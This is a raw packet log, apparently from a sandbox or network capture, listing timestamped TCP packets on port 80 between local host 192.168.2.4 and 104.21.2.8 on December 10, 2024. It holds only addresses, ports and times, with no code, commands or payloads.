Dec 10, 2024 19:00:43.251646996 CET	80	49741	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:43.251869917 CET	49741	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:43.360889912 CET	80	49740	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:43.370762110 CET	80	49742	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:43.463403940 CET	49740	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:43.536107063 CET	80	49740	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:43.604105949 CET	49742	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:43.666521072 CET	49740	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:43.700009108 CET	49740	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:43.726814032 CET	80	49742	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:43.726830006 CET	80	49742	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:43.726896048 CET	80	49742	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:43.820516109 CET	80	49740	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:43.820574999 CET	49740	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:44.338522911 CET	80	49742	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:44.479064941 CET	49742	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:44.805742979 CET	80	49742	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:44.869657993 CET	49742	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:45.654848099 CET	49746	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:45.774643898 CET	80	49746	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:45.774746895 CET	49746	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:45.774935961 CET	49746	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:45.895627022 CET	80	49746	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:46.119743109 CET	49746	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:46.239751101 CET	80	49746	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:46.239790916 CET	80	49746	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:46.239803076 CET	80	49746	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:46.861001015 CET	80	49746	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:46.979098082 CET	49746	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:47.299036026 CET	80	49746	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:47.479070902 CET	49746	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:47.643378019 CET	49746	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:47.643990993 CET	49748	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:47.770255089 CET	80	49748	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:47.770327091 CET	80	49746	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:47.770457983 CET	49746	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:47.770678997 CET	49748	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:47.770802021 CET	49748	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:47.892797947 CET	80	49748	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:48.125957012 CET	49748	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:48.245984077 CET	80	49748	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:48.246001959 CET	80	49748	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:48.246014118 CET	80	49748	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:48.860356092 CET	80	49748	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:48.945415974 CET	49749	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:48.962713957 CET	49748	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:49.064857960 CET	80	49749	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:49.064930916 CET	49749	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:49.065103054 CET	49749	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:49.111468077 CET	49748	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:49.125060081 CET	80	49748	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:49.125116110 CET	49748	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:49.186778069 CET	80	49749	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:49.231334925 CET	80	49748	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:49.231446981 CET	49748	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:49.416738033 CET	49749	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:49.542081118 CET	80	49749	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:49.542679071 CET	80	49749	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:50.012732983 CET	49742	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:50.184459925 CET	80	49749	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:50.354132891 CET	49749	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:50.701200962 CET	80	49749	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:50.855624914 CET	49749	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:54.197441101 CET	49749	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:54.198216915 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:54.318237066 CET	80	49749	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:54.318322897 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:54.318325043 CET	49749	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:54.318401098 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:54.318562984 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:54.438142061 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:54.667876959 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:54.791795015 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:54.791805029 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:54.791814089 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:55.404506922 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:55.479042053 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:55.685343027 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:55.714540005 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:55.837934017 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:55.945005894 CET	49753	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:56.064399958 CET	80	49753	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:56.064481020 CET	49753	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:56.064647913 CET	49753	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:56.072851896 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:56.141458988 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:56.183978081 CET	80	49753	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:56.192373991 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:56.192389965 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:56.275923967 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:56.416743994 CET	49753	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:56.542977095 CET	80	49753	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:56.542990923 CET	80	49753	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:56.543040991 CET	80	49753	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:57.099606037 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:57.220814943 CET	80	49753	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:57.275923967 CET	49753	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:57.275938034 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:57.987340927 CET	80	49753	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:58.146159887 CET	49753	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:58.501112938 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:58.501234055 CET	49753	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:58.504940033 CET	49755	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:58.627403975 CET	80	49751	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:58.627460003 CET	49751	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:58.627867937 CET	80	49753	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:58.627913952 CET	49753	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:58.630805969 CET	80	49755	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:58.630877018 CET	49755	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:58.631071091 CET	49755	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:58.752866030 CET	80	49755	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:58.979231119 CET	49755	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:00:59.099740982 CET	80	49755	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:59.099760056 CET	80	49755	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:59.099769115 CET	80	49755	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:59.752785921 CET	80	49755	104.21.2.8	192.168.2.4
Dec 10, 2024 19:00:59.854059935 CET	49755	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:00.476277113 CET	80	49755	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:00.666567087 CET	49755	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:00.757095098 CET	49755	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:00.757433891 CET	49756	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:00.881855011 CET	80	49756	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:00.882116079 CET	80	49755	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:00.882256985 CET	49755	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:00.885010004 CET	49756	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:00.885010004 CET	49756	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:01.011218071 CET	80	49756	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:01.234431028 CET	49756	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:01.360898972 CET	80	49756	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:01.360915899 CET	80	49756	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:01.360927105 CET	80	49756	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:02.105719090 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:02.105931044 CET	49756	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:02.225305080 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:02.225490093 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:02.225590944 CET	80	49756	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:02.225627899 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:02.225637913 CET	49756	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:02.315196037 CET	49758	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:02.345235109 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:02.434818983 CET	80	49758	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:02.434930086 CET	49758	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:02.435065031 CET	49758	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:02.558311939 CET	80	49758	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:02.572952032 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:02.693854094 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:02.693873882 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:02.791728020 CET	49758	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:02.917383909 CET	80	49758	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:02.917403936 CET	80	49758	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:02.917414904 CET	80	49758	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:03.485146999 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:03.666604042 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:03.760181904 CET	80	49758	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:03.846745014 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:03.852936983 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:03.854074955 CET	49758	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:03.979053974 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.073203087 CET	80	49758	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.166620016 CET	49758	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.189965010 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.190597057 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.266181946 CET	80	49758	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.311109066 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.311124086 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.311202049 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.311213970 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.311223984 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.311232090 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.311237097 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.311269045 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.311317921 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.311353922 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.311363935 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.311395884 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.311444998 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.311614037 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.311665058 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.405623913 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.405639887 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.405694008 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.413042068 CET	49758	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.413759947 CET	49759	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.430464029 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.430531979 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.430820942 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.430830002 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.430897951 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.430913925 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.431010008 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.431077957 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.431109905 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.431168079 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.431225061 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.431282043 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.431355953 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.431416988 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.431452036 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.431507111 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.431786060 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.431794882 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.431806087 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.431854010 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.525474072 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.525544882 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.549870968 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.549892902 CET	80	49759	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.549952030 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.549985886 CET	49759	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.550168991 CET	80	49758	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.550178051 CET	49759	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.550211906 CET	49758	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.550467014 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.550566912 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.550626993 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.550678015 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.550712109 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.550757885 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.550888062 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.550901890 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.550930977 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.550950050 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.550995111 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.551039934 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.551059008 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.551068068 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.551107883 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.551121950 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.551151991 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.551176071 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.551194906 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.551198006 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.551243067 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.551261902 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.551271915 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.551320076 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.644763947 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.644779921 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.644792080 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.644802094 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.644861937 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.669289112 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669311047 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669372082 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669380903 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.669380903 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669449091 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.669460058 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669503927 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.669533014 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669588089 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.669585943 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669605970 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669641972 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.669684887 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669694901 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669745922 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.669817924 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669828892 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.669874907 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.669995070 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670037985 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670042992 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670083046 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670254946 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670300007 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670325041 CET	80	49759	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670381069 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670414925 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670423985 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670460939 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670584917 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670594931 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670623064 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670629978 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670631886 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670644045 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670681953 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670736074 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670746088 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670783997 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670814037 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670861006 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670871019 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670892000 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.670923948 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670948029 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.670953989 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671000004 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671015024 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671041965 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671061993 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671088934 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671221972 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671231985 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671278954 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671300888 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671310902 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671334982 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671354055 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671384096 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671452999 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671494007 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671503067 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671505928 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671530008 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671546936 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671582937 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671587944 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671631098 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671660900 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671670914 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671709061 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671717882 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671757936 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671786070 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671828032 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.671832085 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.671875000 CET	49757	80	192.168.2.4	104.21.2.8
Dec 10, 2024 19:01:04.764179945 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.764203072 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.764242887 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.764251947 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.764370918 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.764379978 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.764440060 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.788793087 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.788809061 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.788819075 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.788836956 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.788846016 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.788880110 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.788991928 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789001942 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789125919 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789134979 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789155006 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789266109 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789274931 CET	80	49757	104.21.2.8	192.168.2.4
Dec 10, 2024 19:01:04.789288998 CET	80	49757	104.21.2.8	192.168.2.4
